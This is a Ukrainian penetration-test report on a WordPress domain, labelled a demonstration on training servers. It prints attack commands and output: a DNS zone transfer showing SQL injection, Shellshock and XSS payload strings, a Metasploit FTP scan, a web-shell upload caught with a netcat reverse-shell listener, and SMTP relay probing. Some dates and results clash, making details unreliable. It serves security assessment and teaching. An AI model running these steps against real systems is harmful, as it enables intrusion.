SlideShare une entreprise Scribd logo
1  sur  51
07.04.2020
Дата виконання:
ТЕСТУВАННЯ НА
ПРОНИКНЕННЯ
ДОМЕН: [DOMAIN]
КОНФІДЕНЦІЙНО
Konrad Ravenstone
Автор звіту:
Версія: 2.0
1. ПОЛОЖЕННЯ ПРО КОНФІДЕНЦІЙНІСТЬ 01
2. ОСНОВНІ ПОНЯТТЯ І ТЕРМІНИ 02
3. КОРОТКЕ РЕЗЮМЕ 05
4. МЕТОДОЛОГІЯ 06
5. КЛАСИФІКАЦІЯ ВРАЗЛИВОСТЕЙ 09
6. ТЕСТУВАННЯ ЗАХИЩЕНОСТІ [DOMAIN] 10
6.1 DNS ZONE TRANSFER ATTACK 10
6.2 FTP ANONYMOUS LOGIN ATTACK 12
6.3 SMTP OPEN MAIL RELAY ATTACK 14
6.4 BRUTEFORCE ATTACK ON WP-LOGIN 16
6.5 WORDPRESS DIRECTORY TRAVERSAL ATTACK 18
6.6 SQL INJECTION ATTACK 20
6.7 WORDPRESS DOS ATTACK 26
6.8 PHP INFORMATION DISCLOSURE / OUTDATED VERSION 28
6.9 WORDPRESS REST API CONTENT INJECTION ATTACK 30
7.0 WORDPRESS UNAUTHENTICATED PATH TRAVERSAL ATTACK 33
7.1 BRUTEFORCE SSH ATTACK 37
7.2 TLS/SSL WEAK ENCRYPTION 39
7.3 UAUTHENTICATED STORED XSS ATTACK 44
ЗМІСТ
Даний документ являє собою електронний звіт з тестування на проникнення,
створений на замовлення [COMPANY], є інтелектуальною власністю KR.
LABORATORIES (kr-labs.com.ua).
Документ містить службову і технічну конфіденційну інформацію, що надається
виключно правовласнику досліджуваного електронного ресурсу [domain].
У цьому звіті представлені результати тестування на проникнення веб-додатку
[domain].
Аналіз, викладений у цьому документі, ґрунтується на технологіях та відомих
вразливостях на дату створенння цього звіту.
Жодна інша сторона або особа не має права вільно розповсюджувати цей
документ без офіційної згоди KR. LABORATORIES.
Забороняється будь-яке самовільне використання матеріалів цього документу -
копіювання, дублювання, відтворення, оновлення.
Будь-які запити та запитання стосовно цього документу надсилати на офіційну
електронну поштову скриньку: security@kr-labs.com.ua
УВАГА: даний звіт підготовлений в ознайомлювальних, демонстраційних
цілях. Усі атаки проводилися на навчальних серверах та доменах.
Положення про
конфіденційність
1
SECURITY@KR-LABS.COM.UA
07/04/2020
Тестування на проникнення (також "Тест на проникнення", "Пентест",
"Пентестінг", англ. Penetration Testing)—це комплекс санкціонованих заходів з
метою протестувати і проаналізувати кіберзахист інформаційної системи та
дати оцінку захищеності. Пентестер моделює атаки й імітує дії хакера,
використовуючи різноманітні техніки та інструменти. Ціль пентесту—
перевірити систему на стійкість, надійність, наявність ризиків і недоліків
кібербезпеки.
Пентестер — це ІТ-фахівець, який проводить тестування захищеності
інформаційних систем, об’єктів інфраструктури, комп’ютерних мереж,
електронних ресурсів, мобільних і веб-додатків, виявляючи баги, дефекти,
вразливості, які можуть привести до зламу, витоку або викрадення даних,
компрометації системи.
Браузер — програмне забезпечення для пошуку, представлення та перегляду
інформаційних ресурсів у всесвітній павутині Інтернет.
CMS (Content Manangement System) — система управління контентом веб-сайту.
Найбільш популярною є CMS WordPress, на якій працює близько 70% сайтів в
інтернеті.
DNS (Domain Name System) — ієрархічна децентралізована система імен для
комп'ютерів, сервісів або інших ресурсів, підключених до Інтернету або
приватної мережі.
Домен — унікальний буквено-цифровий набір символів, що визначає сайт в
інтернеті. Доменні імена формуються за правилами та процедурами Системи
доменних імен (DNS).
IP-адреса — ідентифікатор, який присвоюється кожному комп'ютеру,
підключеному до комп'ютерної мережі.
Хостинг — послуга, що дозволяє приватним особам та організаціям розмістити
свій сайт в Інтернеті.
Вразливість — помилка або порушення в ІТ-системі, що призводить до ризиків
безпеки.
2
Основні поняття і терміни
07/04/2020
SECURITY@KR-LABS.COM.UA
TLS (Transport Layer Security) — криптографічний протокол для захисту
передачі даних між вузлами в мережі Інтернет.
SSL (Secure Sockets Layer) — криптографічний протокол для захист передачі
даних по HTTP-протоколу.
TCP (Transmission Control Protocol) — протокол керування передачею даних в
Інтернеті.
UDP (User Datagram Protocol) — мережевий протокол передачі даних в
Інтернеті.
OSI (Open System Interconnection Model) — мережева модель, яка описує роботу
всіх мережевих протоколів.
WAF (Web Application Firewall) — сукупність моніторів і фільтрів,
призначених для виявлення та блокування мережевих атак на рівні веб
додатку.
HTML (HyperText Markup Language) — мова гіпертекстової розмітки, стандартна
мова розмітки для створення веб-сторінок та веб-додатків.
HTTP (HyperText Transfer Protocol) — протокол передачі гіпертексту,
прикладний протокол для обміну та передачі гіпертекстових повідомлень.
PHP (Personal Home Page Tools) — серверна скриптова мова програмування для
створення і керування веб-додатками.
SQL (Structured Query Language) — мова структурованих запитів, що
використовується в програмуванні і призначена для управління даними.
CVSS (Common Vulnerability Scoring System) — це система оцінки вразливостей,
яка також дає характеристику вектора кібератаки, створена у 2005 році Forum
of Incident Response and Security Teams (FIRST).
CWE (Common Weakness Enumeration) — це список найбільш слабких місць у
безпеці програмного забезпечення, створений організацією MITRE.
OWASP (Open Web Application Security Project) — некомерційна організація і
проєкт з безпеки веб-додатків.
3
07/04/2020
SECURITY@KR-LABS.COM.UA
XSS (Cross Site Scripting) — вразливість міжсайтового скриптингу, що дозволяє
користувачам вставляти код HTML або JavaScript в тіло сторінки. Існує кілька
типів цієї вразливості: Stored XSS, Reflected XSS тав DOM-based XSS. Атаки на
базі XSS можуть використовуватися для соціальної інженерії, перенаправлення
користувачів на фішингові ресурси, перехоплення даних та ін.
DOS (Denial of Service) — атака на відмову в обслуговування, що полягає у
насиченні інформаційної системи великою кількістю запитів, які вичерпують
ресурси, викликають збої та порушення в роботі, і у висновку призводять до
недоступності сервера. Існують також розподілені атаки - DDoS (Distributed
Denial of Service).
LFI (Local File Include) — це атака, яка дозволяє виконувати, переглядати,
редагувати локальні файли на віддаленому сервері. Існує ще Remote File
Inclusion (RFI), що являє собою завантаження і виконання віддалених файлів на
сервері.
RCE (Remote Code Execution) — це атака з віддаленим виконанням команд на
серверній стороні.
Bruteforce — метод підбору пароля шляхом почергового перебору можливих
комбінацій логін/пароль на основі масок або словника.
SQL-injection — атака з відправкою шкідливих скриптів/команд в SQL-базу
даних.
SSRF (Server Side Request Forgery) — атака з підробкою запитів на стороні
сервера, коли зловмисник зловживає функціями сервера, змушуючи його
отримувати доступ або маніпулювати інформацією.
CSRF (Cross Site Request Forgery) — міжсайтова підробка запитів.
CRLF (Carriage Return Line Feed) — атака з відправкою символів повернення
каретки і перенесення рядка з метою введення в оману серверів і веб-додатків.
XXE (XML External Entity) — атака на XML-документи.
Spoofing — це атака, коли особа або програма маскується під іншу за
допомогою фальсифікації даних, і тим самим отримує незаконну перевагу.
MITM (Main In The Middle) — атака "Людина посередині" з перехопленням
даних.
4
07/04/2020
SECURITY@KR-LABS.COM.UA
Проведення незалежного тестування і оцінювання безпеки сайту [domain].
Виявлення вразливостей та слабких ланок безпеки на всіх рівнях OSI/TCP-IP
моделі. Пошук потенційних загроз, витоків даних, зон ризику, точок
компрометації, багів, дефектів та будь-яких інших недоліків, що впливають
на захищеність сайту.
Оцінка захищеності, підготовка фахових висновків та рекомендацій з
кібербезпеки.
Вступні відомості по проєкту
Правовласник компанії [COMPANY] надіслав 20.03.2020 запит в KR. Laboratories
(kr-labs.com.ua) на проведення зовнішнього Manual Black-Box пентесту. Йому
було надано вичерпну консультацію та проведено короткий бриф, після чого
замовник виявив бажання підписати договір на проведення тестування на
проникнення корпоративного електронного ресурсу [DOMAIN], створеного на
базі CMS WordPress. Пентест був проведений у період з 28.03.2020 по
07.04.2020 включно. Виконавець - сертифікований спеціаліст з IT-безпеки
Konrad Ravenstone.
Цілі і мета пентесту
1.
2.
3.
Результати пентесту
За результатами тестування на проникнення були виявлені недоліки
кібербезпеки на всіх ланках і рівнях сайту [domain]. Були виявлені сумарно 13
вразливостей критичного (4), високого (4), середнього (4) та низького (1) рівнів
ризику, що може привести до несанкціонованого зламу і втрати даних,
фінансових і репутаційних збитків. Сайт визнано незахищеним, таким, що
потребує негайної комплексної оптимізації кібербезпеки.
Коротке резюме
5
07/04/2020
SECURITY@KR-LABS.COM.UA
Information Systems Security Assessment Framework (ISSAF)
The Open Source Security Testing Methodology Manual (OSSTMM)
Penetration Testing Execution Standard (PTES)
OWASP Web Security Testing Guide
WASC Threat Classification
NIST SP800-115
MITRE Attack
SANS CWE Top 25
PCI-DSS Penetration Testing Standard
BSI Penetration Testing Model
ISO 27001
Фаза 1: Мережева і технічна розвідка, пасивний і активний збір
інформації DNS/TCP-IP. Аналіз хостів, доменів, IP-адрес. Дослідження даних
реєстратора в WHOIS, визначення NS-серверів і хостинг-провайдера, історія/
хронологія змін DNS, енумерація субдоменів, сканування мережевих
TCP/UDP-портів, захоплення серверних банерів, визначення операційної
системи та програмного забезпечення. Аналіз Email і HTTP заголовків,
службових і системних файлів, файлів конфігурації (sitemap.xml, robots.txt),
аналіз SSL/TLS сертифікатів (Crt.sh, Qualys SSL Labs). Використання
інструментів командного рядка Linux: nslookup, dig, host, ping, traceroute і т.д.
Застосування SAST/DAST-сканерів: NMAP, Nikto, WPScan, SQLmap, Acunetix,
BurpSuite, OWASP Zap, OpenVAS, Tenable Nessus та інших.
Фаза 2: Комплексна розвідка з відкритих джерел - WEBINT, OSINT,
SOCMINT. Пошук будь-яких публічних даних, згадок про об’єкт в інтернеті та
ЗМІ. Робота з кібер- та метапошуковими системами. Збір геоданих, email
адрес, акаунтів в соцмережах та інших даних. Виявлення витоків даних—
скомпрометовані бази даних, паролі, логіни (Have I Been Pwned, DEHASHED,
IntelligenceX та ін.), використання різноманітних OSINT/SOCMINT-
фреймворків (Maltego, Spiderfoot). Пошук адміністративних URL-адрес та
документів.
У ході тестування була використана авторська методологія KR. LABORATORIES,
яка базується на основі кращих міжнародних практик, фреймворків, стандартів:
Пентест складався з трьох етапів, кожен з яких був поділений на три фази:
Етап 1. Збір і накопичення матеріалів, планування атак.
6
Методологія
07/04/2020
SECURITY@KR-LABS.COM.UA
Фаза 3: Аналіз зібраної інформації. Ідентифікація і аналіз вразливостей,
метаданих. Підбір/написання шеллів і експлойтів. Аналіз вразливостей в
базах даних: ExploitDB/CVE/CWE/NVD/OSVDB/CVSS. Пошук PoC, випробування
атак. Планування атак.
Фаза 1: Експлуатація вразливостей. Здійснення хакерських атак різного
рівня: брутфорс з підбором паролей, фаззінг URL-адрес, відмова в
обслуговуванні (DOS/DDOS), здійснення PHP/SQL/XSS/XXE-ін’єкцій, атаки з
підробкою міжсайтових і міжсерверних запитів CSRF/SSRF, запуск шеллів
(LFI/RFI), віддалене виконання коду RCE, перехоплення даних
(Spoofing/MITM) та інші. Робота з Offensive Security-інструментами: Metasploit
Framework, THC Hydra, Cobalt Strike і т.д.
Фаза 2: Інвентаризація. Збір даних про скомпрометовану систему,
топологія мережі, перегляд системних журналів, аналіз подій, сканування і
перевірка серверних служб, інтерфейсів, отримання версій ПЗ, плагінів,
модулів, компонентів. Робота з утилітами командного рядка для аудиту
сервера: Lynis, otseca, memtester, nix-auditor, mySQLtuner, testssl.sh, GoAccess
та іншими.
Фаза 3: Пост-експлуатація. Закріплення доступу та підвищення привілеїв
адміністратора в зламаній системі. Створення бекдорів, завантаження
руткітів. Створення дампів і вивантаження даних. Повний контроль над
сервером. Приховання слідів.
Фаза 1: Документування. Усіх дій, виконаних пентестером та подій, які
відбувалися в системі. Публікація технічних деталей експлуатації.
Фаза 2: Представлення даних. Підбір доказової бази: скріншотів, технічних
деталей, інфографіки, посилань, діаграм, відео та будь-яких додаткових
матеріалів.
Фаза 3: Формування рекомендацій. Надання замовнику експертних порад
з усунення виявлених проблем безпеки. Рекомендації можуть містити
короткі вказівки або розгорнутий опис (по домовленості).
Етап 2. Проведення атак.
Етап 2. Підготовка звіту.
7
07/04/2020
SECURITY@KR-LABS.COM.UA
Персональний комп'ютер на базі Intel Core i5 16GB RAM.
Віртуальні сервери: VPS Intel 2CPUs, 2GB RAM; VPS AMD 1CPU, 2GB RAM.
Операційні системи: OS Kali Linux 2020.4, OS Debian 10, OS Ubuntu 18.04, OS
Parrot Linux, OS BlackArch Linux.
Веб-браузери: Mozilla Firefox Dev, Google Chrome Dev, Brave Browser.
Розширення Firefox: FoxyProxy, Web Developer, IP Address and Domain
Information, Webhint, Wayback Machine, Tamper Data, Exif Viewer, HackBar,
Hack-Tools, EasyXSS, Cookie-Editor, HTTP Header Live, retire.js, Vulners Web
Scanner, YesWeHack.
Мережеві утиліти: dig, nslookup, telnet, traceroute, ftp, ssh, scp, netcat, whois,
tcpdump, curl, wget, ping, hping.
SAST/DAST-сканери: Burpsuite PRO, Acunetix Vulnerability Scanner, Tenable
Nessus, Rapid7 Nexpose, OpenVAS, Wapiti, Qualys Web Application Scanner,
ImmuniWeb, OWASP Zap, NMAP, WPScan, Nekto, WhatWeb, Nuclei.
Offensive-security додатки: Metasploit Framework, THC Hydra, John The Reaper,
RainbowCrack, Weewely, BeeF, HashCat, SQLmap, XSStrike, Express XSShunter.
Пошукові системи: Google, Bing, Yacy, Shodan, Censys, ZoomEye, MetaGer,
SearX, IntelX, PublicWWW, Netlas, OPSWAT, Greynoise, Pulsedive, LeakIX,
Onyphe, BinaryEdge, Github Search, Exploid-DB.
Утиліти і сервіси для аналізу DNS/IP: DNSdumpster, OWASP Amass,
theHarvester, DNSrecon, DNSlytics, dnswalk, dnsviz, dnsenum, dnsmap, Sublist3r,
fierce, SecurityTrails, CRTsh, testssl, Arjun.
Утиліти для краулінгу/фаззінгу: Dirb, Dirsearch, Dirhunt, Gobuster, FFUF,
INURLBR, CRLFUZZ, Photon, Metagoofil, Xenu, Seo Screaming Spider Frog.
OSINT-додатки і сервіси: Maltego, SpiderFoot, Hunchly, DeHashed,
Haveibeenpwned, Wappalyzer, C99, Buildwidth, GHUNT, Hunter.io., Spyse,
SimilarTech.
Для ідентифікації знайдених вразливостей використовувались
електронні бази даних: NIST NVD, ExploitDB, OpenCVE, CVE Mitre, CWE, VulDB,
Snyk Vulnerability DB, Rapid7 Vulnerability & Exploit Database, Packet Storm Security,
WPscan WordPress Vulnerabilities, Patchstack WordPress Vulnerability Database,
GitHub Advisory Database, HackerOne Reports, CXSECURITY, 0day.today, CVE Details,
Acunetix Vulnerabilities Database.
Рівень та вектор загроз визначався по системі Common Vulnerability Scoring
System Calculator (CVSS) v2/3.
Програмні і апаратні засоби пентестера:
8
07/04/2020
SECURITY@KR-LABS.COM.UA
Градація ризиків кібербезпеки проведена за наступною шкалою:
9
Класифікація
вразливостей
07/04/2020
SECURITY@KR-LABS.COM.UA
CRITICAL (9.0-
10.00)
Критичний рівень загрози, що приводить до
несанкціонованого доступу та повного контролю над
системою. Зловмисник може вносити будь-які зміни в
ресурс та впливати на функціонал, маючи необмежені
права доступу. Подібні ризики приводять до зламу,
компрометації, зміни конфігурації, викрадення ресурсу та
втрати даних. Рекомендується негайно вжити відповідних
заходів.
HIGH (7.0-8.9)
Високий рівень загрози, що дозволяє зловмиснику частково
взяти під контроль систему, впливати на функціонал з
обмеженими можливостями. Подібні ризики приводять до
серйозних збоїв, системних помилок, недоступності,
пошкодження даних. Рекомендується вжити відповідних
заходів якомога швидше.
MEDIUM (4.0-6.9)
Cередній рівень загрози, що дозволяє зловмиснику
експлуатувати ті чи інші вразливості ІТ-системи, частково
впливати на функціонал і доступність. Рекомендується
своєчасно вжити відповідних закохдів.
LOW (0.1-3.9)
Низький рівень загрози, включає низькорівневі вразливості
інформаційного характеру, які можуть стати причиною
витоку даних, що у поєднанні з іншими ризиками може
призвести до несанкціонованого доступу. Рекомендується
прореагувати своєчасно.
INFO (0.0)
Інформаційний рівень загрози, включає інформацію, яка
може бути використана для планування атак. Може бути
розглянута з меншим приорітетом, наприклад в ході
планового обслуговування і перевірки системи.
10
Тестування захищеності
[domain]
НАЗВА АТАКИ DNS ZONE TRANSFER ATTACK
РІВЕНЬ ЗАГРОЗИ MEDIUM CVSS SCORE: 5.0 CVE-1999-0532
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ dig [domain] ns
; <<>> DiG 9.18.6-2-Debian <<>> [domain] ns
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR,
id: 64104
;; flags: qr rd ra; QUERY: 1, ANSWER: 2,
AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;xxx.net. IN NS
;; ANSWER SECTION:
[domain]. 1800 IN NS ns2.[domain].
[domain]. 1800 IN NS ns1.[domain].
;; Query time: 324 msec
;; SERVER: 103.86.96.100#53(103.86.96.100) (UDP)
;; WHEN: Wed Mar 29 03:38:28 EDT 2023
;; MSG SIZE rcvd: 96
$ dig -t AXFR [domain] @ns1.[domain]
; <<>> DiG 9.18.6-2-Debian <<>> -t AXFR [domain]
@ns1.[domain]
;; global options: +cmd
[domain]. 7200 IN SOA ns1.[domain]. alex.[domain].
2019100801 172800 900 1209600 3600
[domain]. 300 IN HINFO "Casio fx-700G" "Windows 7"
[domain]. 301 IN TXT "google-site-
verification=xxxxxxxxxxxxxxxxxxxxxxxxxxxx"
[domain]. 7200 IN MX 0 ASPMX.L.GOOGLE.COM.
[domain]. 7200 IN MX 10 ALT1.ASPMX.L.GOOGLE.COM.
[domain]. 7200 IN MX 10 ALT2.ASPMX.L.GOOGLE.COM.
[domain]. 7200 IN MX 20 ASPMX2.GOOGLEMAIL.COM.
[domain]. 7200 IN MX 20 ASPMX3.GOOGLEMAIL.COM.
[domain]. 7200 IN MX 20 ASPMX4.GOOGLEMAIL.COM.
[domain]. 7200 IN MX 20 ASPMX5.GOOGLEMAIL.COM.
[domain]. 7200 IN A X.XXX.XXX.XX
[domain]. 7200 IN NS n1.[domain].
[domain]. 7200 IN NS ns2.[domain].
_acme-challenge.[domain]. 301 IN TXT
"6Oa05hbUJ9xSsvYy7pApQvwCUSSGgxvrbdizjePEsZI"
_sip._tcp.[domain]. 14000 IN SRV 0 0 5060 www.
[domain].
XX.XXX.XXX.X.IN-ADDR.ARPA.[domain]. 7200 IN PTR
www.[domain].
asfdbauthdns.[domain]. 7900 IN AFSDB 1 asfdbbox.
[domain].
asfdbbox.[domain]. 7200 IN A 127.0.0.1
asfdbvolume.[domain]. 7800 IN AFSDB 1 asfdbbox.
[domain].
canberra-office.[domain]. 7200 IN A 202.14.81.230
cmdexec.[domain]. 300 IN TXT "; ls"
contact.[domain]. 2592000 IN TXT "Remember to call
or email Pippa on +44 123 4567890 or pippa@[domain]
when making DNS changes"
dc-office.[domain]. 7200 IN A 143.228.181.132
deadbeef.[domain]. 7201 IN AAAA dead:beaf::
dr.[domain]. 300 IN LOC 53 20 56.558 N 1 38 33.526 W
0.00m 1m 10000m 10m
DZC.[domain]. 7200 IN TXT "AbCdEfG"
email.[domain]. 2222 IN NAPTR 1 1 "P" "E2U+email" ""
email.[domain].[domain].
email.[domain]. 7200 IN A 74.125.206.26
Hello.[domain]. 7200 IN TXT "Hi to Josh and all his
class"
home.[domain]. 7200 IN A 127.0.0.1
internal.[domain]. 300 IN NS intns1.[domain].
internal.[domain]. 300 IN NS intns2.[domain].
intns1.[domain]. 300 IN A 81.4.108.41
intns2.[domain]. 300 IN A 167.88.42.94
office.[domain]. 7200 IN A 4.23.39.254
ipv6actnow.org.[domain]. 7200 IN AAAA
2001:67c:2e8:11::c100:1332
owa.[domain]. 7200 IN A 207.46.197.32
robinwood.[domain]. 302 IN TXT "Robin Wood"
rp.[domain]. 321 IN RP robin.[domain]. robinwood.
[domain].
sip.[domain]. 3333 IN NAPTR 2 3 "P" "E2U+sip"
"!^.*$!sip:customer-service@[domain]!" .
sqli.[domain]. 300 IN TXT "' or 1=1 --"
sshock.[domain]. 7200 IN TXT "() { :]}; echo
ShellShocked"
staging.[domain]. 7200 IN CNAME
www.sydneyoperahouse.com.
alltcpportsopen.firewall.test.[domain]. 301 IN A
127.0.0.1
testing.[domain]. 301 IN CNAME www.[domain].
vpn.[domain]. 4000 IN A 174.36.59.154
www.[domain]. 7200 IN A 5.196.105.14
xss.[domain]. 300 IN TXT "'><script>alert('Boo')
</script>"
[domain]. 7200 IN SOA nsztm1.[domain]. robin.
[domain]. 2019100801 172800 900 1209600 3600
;; Query time: 256 msec
;; SERVER: 81.4.108.41#53(nsztm1.[domain]) (TCP)
;; WHEN: Wed Mar 29 03:40:07 EDT 2023
;; XFR size: 50 records (messages 1, bytes 1994)
07/04/2020
SECURITY@KR-LABS.COM.UA
11
ОПИС ТА ВПЛИВ АТАКИ
Усі записи DNS-зони: SOA, MX, TXT, SRV, A, CNAME.
Контактні дані адміністратора домену: номер телефону, електронна пошта.
IP-адреси сервера та пов'язаних хостів.
Субдомени: адміністративні, тестові, технічні.
NS-сервери імен.
Адреси поштових серверів.
Програмне забезпечення, яке використовує сервер.
TTL-значення оновлення кешу DNS.
Схеми внутрішньої адресації.
Може підібрати експлойти до серверних служб і компонентів та проексплуатувати їх.
Скопіювати DNS-записи домена на неавторизовані сервери й перенаправляти трафік на
підроблений сайт (DNS Hijacking/Spoofing).
Провести фішингову атаку на корпоративні email-адреси з метою перехоплення даних (Mand-in-
the-Middle).
Спробувати зламати обліковий запис адміністратора, підібравши методом брутформ-перебору
пароль.
В ході мережевої розвідки домену [domain] виявлено вразливий DNS-сервер, який за запитом AXFR
(Asynchronous Transfer Full Range) передає конфіденційні дані DNS. Адміністратори, зазвичай,
використовують цю функцію для реплікації даних між DNS-серверами спільої інфраструктури, але вона
повинна бути доступною лише для довірених IP-адрес, а не всього зовнішнього Інтернету.
У висновку, вдалося скласти топологію мережі, отримати ключову інформацію:
.
Маючи такі відомості, зловмисник отримує широкий простір для різних несанкціонованих дій:
РЕКОМЕНДАЦІЇ
Перевести домен на DNS-обслуговування в Cloudflare.
Активувати атрибут захисту DNSSEC у реєстратора домену, який унеможливить спроби
перехоплення.
Встановити і налаштувати мережевий Firewall (напр. IPtables, Fail2ban, CSF). Обмежити доступ до
TCP/UDP 53.
Провести комплексну конфігурацію безпеки DNS-сервера. Вимкнути передачу зони для
неавторизованих серверів. Налаштувати його так, щоб він відповідав лише на автентифіковані
запити на передачу з допомогою оператора allow-transfer. Приклад налаштування:
Використовувати Transaction SIGnatures (TSIG) для передачі зон DNS.
# /etc/named.conf
acl trusted-nameservers {
XXX.XXX.X.XX; //ns2
XXX.XXX.X.XX; //ns3
};
zone [domain] {
type master;
file "zones/[domain]";
allow-transfer { trusted-nameservers; };
};
07/04/2020
SECURITY@KR-LABS.COM.UA
12
НАЗВА АТАКИ FTP ANONYMOUS LOGIN ATTACK
РІВЕНЬ ЗАГРОЗИ CRITICAL CVSS SCORE: 10
CVE-1999-0497,
CVE-2015-3306
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ nmap -sV -O [domain]
Starting Nmap 7.80 ( https://nmap.org ) at 2020-
12-23 21:50 UTC
Nmap scan report for [domain] (XX.XX.XXX.XXX)
Host is up (0.13s latency).
rDNS record for XX.XX.XXX.XXX: ns1.xxxx.net
Not shown: 986 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2
(protocol 2.0)
25/tcp filtered smtp
53/tcp open domain ISC BIND 9.8.4-rpz2+rl005.12-P1
80/tcp open http nginx 1.6.2
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
443/tcp open ssl/https nginx/1.6.2
993/tcp open ssl/imaps?
995/tcp open ssl/pop3s?
1500/tcp open http ISPmanager SSL redirector
3306/tcp open mysql MySQL 5.5.38-0+wheezy1-log
8080/tcp open http Apache httpd 2.2.22 ((Debian))
8081/tcp open http Apache httpd 2.2.22 ((Debian))
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 11 hops
Service Info: OSs: Unix, Linux; CPE:
cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report
any incorrect results at https://nmap.org/submit/
.
Nmap done: 1 IP address (1 host up) scanned in
35.84 seconds
$ msfconsole
use auxiliary/scanner/ftp/anonymous
show options
set RHOST XXX.XXX.XXX.XXX
exploit
[+] XXX.XXX.XXX.XXX:21 - XXX.XXX.XXX.XXX:21 -
Anonymous READ/WRITE (220 FTP Service)
[*] XXX.XXX.XXX.XXX:XX - Scanned 1 of 1 hosts
(100% complete)
[*] Auxiliary module execution complete
$ ftp XXX.XXX.XXX.XXX
Connected to XXX.XXX.XXX.XXX.
220 FTP Service
Name (XXX.XXX.XXX.XXX:user): anonymous
331 Anonymous access allowed, send identity (e-mail
name) as password.
Password:
230 Anonymous user logged in.
Remote system type is Windows_NT.
ftp> dir
500 Invalid PORT Command.
ftp: bind: Address already in use
ftp> pass
Passive mode on.
ftp> dir
227 Entering Passive Mode (190,191,213,101,8,30).
125 Data connection already open; Transfer starting.
12-10-20 01:12PM 1952 love.lnk
12-10-20 01:11PM 6271259 death.scr
06-30-20 06:57AM 3528005 info.zip
04-07-20 10:44AM 3414016 bomba.exe
08-20-19 12:06PM 3220992 iamahacker.bat
06-15-20 10:07AM 2038272 infoTicketOld.exe
10-15-20 09:00AM <DIR> NewDir
12-10-20 01:11PM 1952 Photo.lnk
12-10-20 01:10PM 6271259 Photo.scr
12-14-20 02:39PM 11 ttt.txt
12-10-20 01:12PM 1952 Video.lnk
12-10-20 01:11PM 6271259 Video.scr
226 Transfer complete.
ftp> mkdir newdir
257 "exploit" directory created.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful.
150 Opening ASCII mode data connection for
shell.php.
226 Transfer complete.
67630 bytes sent in 0.00 secs (34.1073 MB/s)
$ nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on XX.XX.XX.XXX 50256
Linux machine 4.4.0-142-generic #168-Ubuntu SMP Wed
Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64
GNU/Linux
01:46:11 up 16 min, 0 users, load average: 0.00,
0.12, 0.23
USER TTY FROM LOGIN@ IDLE
JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-
data)
/bin/sh: 0: can't access tty; job control turned off
$ ls
bin
boot
etc
home
07/04/2020
SECURITY@KR-LABS.COM.UA
13
ОПИС ТА ВПЛИВ АТАКИ
В ході сканування мережевих TCP/UDP портів домену [domain] виявлено вразливий FTP-сервер під
управлінням ProFTPd 1.3.5, який дозволяє будь-кому в Інтернеті авторизуватися на сервері через FTP-
протокол, вказавши логін і пароль зі значенням “anonymous”.
Окрім цього, на сервері виставлені некоректні права на запис/читання файлів, що дозволило
переглянути вміст усіх директорій (вразливість Path Directory Traversal), вивантажувати і завантажувати
файли (вразливості Remote File Include/Local File Include).
В результаті, вдалось завантажити на сервер бекдор (Reverse Shell) та провести віддалене виконання
коду (Remote Code Execution (RCE)), здійснити ескалацію привілеїв, отримавши root-права
адміністратора.
Таким чином, внаслідок вищеперелічених вразливостей, зловмисник може безперешкодно
підключатися по FTP та несанкціоновано завантажувати шкідливе програмне забезпечення, взяти під
контроль сервер.
РЕКОМЕНДАЦІЇ
Оновити FTP-службу ProFTPd до останньої версії.
Відключити анонімний протокол передачі даних (Anonymous FTP Login). Необхідно внести змінити
в файл конфігурації: /etc/proftpd.conf
Виставити коректні права доступи на файли і директорії на сервері.
Встановити і налаштувати мережевий Firewall (напр. IPtables, Fail2ban, CSF). Обмежити доступ до
порта TCP 21. Для входу на FTP-сервер застосовувати тільки захищений порт 22 SSH/sFTP.
07/04/2020
SECURITY@KR-LABS.COM.UA
14
НАЗВА АТАКИ SMTP OPEN MAIL RELAY ATTACK
РІВЕНЬ ЗАГРОЗИ HIGH CVSS SCORE: 7.8 CVE-1999-0512
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ dig [domain] MX
; <<>> DiG 9.18.6-2-Debian <<>> [domain] MX
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR,
id: 54761
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1,
AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;[domain]. IN MX
;; ANSWER SECTION:
[domain]. 300 IN MX 10 mail.[domain].
;; Query time: 44 msec
;; SERVER: XX.XX.XX.XX#53(XX.XX.XX.XX) (UDP)
;; WHEN: Wed Dec 14 07:38:39 EST 2020
;; MSG SIZE rcvd: 64
$ nc -vv mail.[domain] 25
Connection to mail.[domain] (XX.XX.XXX.XXX) 25
port [tcp/smtp] succeeded!
220 mail.[domain] ESMTP Postfix (Ubuntu)
EHLO assessor
250-mail.[domain]
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-AUTH LOGIN PLAIN
250-AUTH=LOGIN PLAIN
250 8BITMIME
VRFY ethical.hacker
550 <ethical.hacker>: Recipient address rejected:
User unknown in local recipient table EXPN
postmaster
502 Error: command not implemented
MAIL FROM: ethical@hacker.rrr
250 Ok
RCPT TO: admin@xxxx.net
250 Ok
RCPT TO: sales@xxxx.net
550 : Recipient address rejected: User unknown in
virtual alias table RSET
250 Ok
QUIT
221 Bye sent 224, rcvd 645
$ telnet mail.[domain] 25
Trying XX.XX.XXX.XXX...
Connected to mail.[domain].
Escape character is '^]'.
220 mail.[domain] ESMTP Postfix
EHLO assessor
250-mail.[domain]
250-PIPELINING
250-SIZE 30720000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN
250-AUTH=PLAIN
